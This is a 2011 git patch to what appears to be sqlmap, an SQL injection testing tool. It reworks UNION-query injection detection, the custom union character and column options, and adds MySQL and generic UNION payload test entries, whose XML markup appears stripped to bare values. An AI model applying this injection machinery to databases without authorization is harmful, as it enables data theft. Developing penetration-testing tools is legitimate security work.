From 3a8309c4b00cc6d97fbce2598db6a3cf9ff820bb Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Tue, 10 May 2011 15:34:54 +0000 Subject: [PATCH] Major bug fix to detect UNION query technique and various improvements to parsing and using of --union-char and --union-cols switches --- lib/controller/checks.py | 36 ++-- lib/core/option.py | 1 + lib/techniques/inband/union/test.py | 14 +- lib/techniques/inband/union/use.py | 26 ++- xml/payloads.xml | 273 ++++++++++++++++++++++++++-- 5 files changed, 301 insertions(+), 49 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index f1abb90d2..68c7deb72 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -85,21 +85,29 @@ def checkSqlInjection(place, parameter, value): stype = test.stype clause = test.clause - if stype == 3: + if stype == PAYLOAD.TECHNIQUE.UNION: configUnion(test.request.char) + if "[CHAR]" in title: + if conf.uChar is None: + continue + else: + title = title.replace("[CHAR]", conf.uChar) + + elif "[RANDNUM]" in title or "(NULL)" in title: + title = title.replace("[RANDNUM]", "random number") + if test.request.columns == "[COLSTART]-[COLSTOP]": if conf.uCols is None: continue else: title = title.replace("[COLSTART]", str(conf.uColsStart)) title = title.replace("[COLSTOP]", str(conf.uColsStop)) - - if "[CHAR]" in title: - title = title.replace("[CHAR]", conf.uChar) - - if "[RANDNUM]" in title: - title = title.replace("[RANDNUM]", "random number") + elif conf.uCols is not None: + debugMsg = "skipping test '%s' because the user " % title + debugMsg += "provided custom column range %s" % conf.uCols + logger.debug(debugMsg) + continue # Skip test if the user's wants to test only for a specific # technique @@ -132,8 +140,9 @@ def checkSqlInjection(place, parameter, value): # value # Parse test's if test.level > conf.level: - debugMsg = "skipping test '%s' because the level " % title - debugMsg += "is higher than the provided" + debugMsg = "skipping test '%s' because the level" % title + debugMsg += ", %d, is higher than the provided" % test.level + debugMsg += ", %d" % conf.level logger.debug(debugMsg) continue @@ -195,11 +204,10 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue - # Skip test if the user provided custom column - # range and this is not a custom UNION test - if conf.uCols is not None and hasattr(test.request, "columns") and test.request.columns != "[COLSTART]-[COLSTOP]": - debugMsg = "skipping test '%s' because custom " % title - debugMsg += "UNION columns range was provided" + # Skip test if the user provided custom character + if conf.uChar is not None and ("random number" in title or "(NULL)" in title): + debugMsg = "skipping test '%s' because the user " % title + debugMsg += "provided a specific character, %s" % conf.uChar logger.debug(debugMsg) continue diff --git a/lib/core/option.py b/lib/core/option.py index c16ae370a..501061618 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1366,6 +1366,7 @@ def __setKnowledgeBaseAttributes(flushAll=True): kb.threadContinue = True kb.threadException = False kb.threadData = {} + kb.uChar = "NULL" kb.xpCmdshellAvailable = False kb.misc = advancedDict() diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index c1a85d20c..b0605f084 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -61,7 +61,7 @@ def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where min_, max_ = MAX_RATIO, MIN_RATIO for count in range(lowerCount, upperCount+1): - query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, conf.uChar) + query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, kb.uChar) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, _ = Request.queryPage(payload, place=place, content=True, raise404=False) ratio = comparison(page, True) or MIN_RATIO @@ -122,7 +122,7 @@ def __unionPosition(comment, place, parameter, value, prefix, suffix, count, whe randQueryUnescaped = unescaper.unescape(randQueryProcessed) # Forge the inband SQL injection request - query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar) + query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request @@ -141,7 +141,7 @@ def __unionPosition(comment, place, parameter, value, prefix, suffix, count, whe if content and phrase in content: validPayload = payload - vector = (position, count, comment, prefix, suffix, conf.uChar, where) + vector = (position, count, comment, prefix, suffix, kb.uChar, where) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters @@ -151,7 +151,7 @@ def __unionPosition(comment, place, parameter, value, prefix, suffix, count, whe randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2) # Confirm that it is a full inband SQL injection - query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar, multipleUnions=randQueryUnescaped2) + query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=PAYLOAD.WHERE.NEGATIVE) # Perform the request @@ -159,7 +159,7 @@ def __unionPosition(comment, place, parameter, value, prefix, suffix, count, whe content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") if content and ((phrase in content and phrase2 not in content) or (phrase not in content and phrase2 in content)): - vector = (position, count, comment, prefix, suffix, conf.uChar, PAYLOAD.WHERE.NEGATIVE) + vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE) if not unionErrorCase: break @@ -190,7 +190,7 @@ def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix validPayload = None vector = None - query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar) + query = agent.prefixQuery("UNION ALL SELECT %s" % kb.uChar) total = conf.uColsStop+1 - conf.uColsStart count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix) @@ -200,7 +200,7 @@ def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix query = query[:-len(FROM_TABLE[Backend.getIdentifiedDbms()])] if count: - query += ", %s" % conf.uChar + query += ", %s" % kb.uChar if Backend.getIdentifiedDbms() in FROM_TABLE: query += FROM_TABLE[Backend.getIdentifiedDbms()] diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py index 6b039532c..d0c80312c 100644 --- a/lib/techniques/inband/union/use.py +++ b/lib/techniques/inband/union/use.py @@ -88,13 +88,18 @@ def __oneShotUnionUse(expression, unpack=True): def configUnion(char=None, columns=None): def __configUnionChar(char): - if isinstance(char, basestring): - if any([char.isdigit(), char == "NULL", char == "[RANDNUM]"]): - conf.uChar = char - else: - conf.uChar = "'%s'" % char.strip("'") + if not isinstance(char, basestring): + return + + kb.uChar = char + + if conf.uChar is not None: + kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'")) def __configUnionCols(columns): + if not isinstance(columns, basestring): + return + columns = columns.replace(" ", "") colsStart, colsStop = columns.split("-") @@ -109,15 +114,8 @@ def configUnion(char=None, columns=None): errMsg += "higher number of columns" raise sqlmapSyntaxException, errMsg - if isinstance(conf.uChar, basestring): - __configUnionChar(conf.uChar) - elif isinstance(char, basestring): - __configUnionChar(char) - - if isinstance(conf.uCols, basestring): - __configUnionCols(conf.uCols) - elif isinstance(columns, basestring): - __configUnionCols(columns) + __configUnionChar(char) + __configUnionCols(conf.uCols or columns) def unionUse(expression, unpack=True, dump=False): """ diff --git a/xml/payloads.xml b/xml/payloads.xml index c0da27774..b04d80c5e 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -2320,7 +2320,29 @@ Formats: - MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns + MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) + 3 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + [COLSTART]-[COLSTOP] + + + + +
+ MySQL +
+
+ + + MySQL UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) 3 1 1 @@ -2342,7 +2364,7 @@ Formats: - MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns + MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom) 3 3 1 @@ -2371,6 +2393,28 @@ Formats: 1,2,3,4,5 1 [UNION] + + + # + [CHAR] + 1-10 + + + + +
+ MySQL +
+
+ + + MySQL UNION query (NULL) - 1 to 10 columns + 3 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] # @@ -2386,7 +2430,7 @@ Formats: - MySQL UNION query ([CHAR]) - 1 to 10 columns + MySQL UNION query ([RANDNUM]) - 1 to 10 columns 3 3 1 @@ -2415,6 +2459,28 @@ Formats: 1,2,3,4,5 1 [UNION] + + + # + [CHAR] + 11-20 + + + + +
+ MySQL +
+
+ + + MySQL UNION query (NULL) - 11 to 20 columns + 3 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] # @@ -2430,7 +2496,7 @@ Formats: - MySQL UNION query ([CHAR]) - 11 to 20 columns + MySQL UNION query ([RANDNUM]) - 11 to 20 columns 3 3 1 @@ -2459,6 +2525,28 @@ Formats: 1,2,3,4,5 1 [UNION] + + + # + [CHAR] + 21-30 + + + + +
+ MySQL +
+
+ + + MySQL UNION query (NULL) - 21 to 30 columns + 3 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] # @@ -2474,7 +2562,7 @@ Formats: - MySQL UNION query ([CHAR]) - 21 to 30 columns + MySQL UNION query ([RANDNUM]) - 21 to 30 columns 3 4 1 @@ -2503,6 +2591,28 @@ Formats: 1,2,3,4,5 1 [UNION] + + + # + [CHAR] + 31-40 + + + + +
+ MySQL +
+
+ + + MySQL UNION query (NULL) - 31 to 40 columns + 3 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] # @@ -2518,7 +2628,7 @@ Formats: - MySQL UNION query ([CHAR]) - 31 to 40 columns + MySQL UNION query ([RANDNUM]) - 31 to 40 columns 3 5 1 @@ -2547,6 +2657,28 @@ Formats: 1,2,3,4,5 1 [UNION] + + + # + [CHAR] + 41-50 + + + + +
+ MySQL +
+
+ + + MySQL UNION query (NULL) - 41 to 50 columns + 3 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] # @@ -2562,7 +2694,7 @@ Formats: - MySQL UNION query ([CHAR]) - 41 to 50 columns + MySQL UNION query ([RANDNUM]) - 41 to 50 columns 3 5 1 @@ -2584,7 +2716,26 @@ Formats: - Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns + Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) + 3 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [CHAR] + [COLSTART]-[COLSTOP] + + + + + + + + Generic UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) 3 1 1 @@ -2603,7 +2754,7 @@ Formats: - Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns + Generic UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom) 3 3 1 @@ -2629,6 +2780,25 @@ Formats: 1,2,3,4,5 1 [UNION] + + + -- + [CHAR] + 1-10 + + + + + + + + Generic UNION query (NULL) - 1 to 10 columns + 3 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] -- @@ -2641,7 +2811,7 @@ Formats: - Generic UNION query ([CHAR]) - 1 to 10 columns + Generic UNION query ([RANDNUM]) - 1 to 10 columns 3 3 1 @@ -2667,6 +2837,25 @@ Formats: 1,2,3,4,5 1 [UNION] + + + -- + [CHAR] + 11-20 + + + + + + + + Generic UNION query (NULL) - 11 to 20 columns + 3 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] -- @@ -2679,7 +2868,7 @@ Formats: - Generic UNION query ([CHAR]) - 11 to 20 columns + Generic UNION query ([RANDNUM]) - 11 to 20 columns 3 3 1 @@ -2705,6 +2894,25 @@ Formats: 1,2,3,4,5 1 [UNION] + + + -- + [CHAR] + 21-30 + + + + + + + + Generic UNION query (NULL) - 21 to 30 columns + 3 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] -- @@ -2717,7 +2925,7 @@ Formats: - Generic UNION query ([CHAR]) - 21 to 30 columns + Generic UNION query ([RANDNUM]) - 21 to 30 columns 3 4 1 @@ -2743,6 +2951,25 @@ Formats: 1,2,3,4,5 1 [UNION] + + + -- + [CHAR] + 31-40 + + + + + + + + Generic UNION query (NULL) - 31 to 40 columns + 3 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] -- @@ -2755,7 +2982,7 @@ Formats: - Generic UNION query ([CHAR]) - 31 to 40 columns + Generic UNION query ([RANDNUM]) - 31 to 40 columns 3 5 1 @@ -2781,6 +3008,24 @@ Formats: 1,2,3,4,5 1 [UNION] + + + -- + [CHAR] + 41-50 + + + + + + + Generic UNION query (NULL) - 41 to 50 columns + 3 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] -- @@ -2793,7 +3038,7 @@ Formats: - Generic UNION query ([CHAR]) - 41 to 50 columns + Generic UNION query ([RANDNUM]) - 41 to 50 columns 3 5 1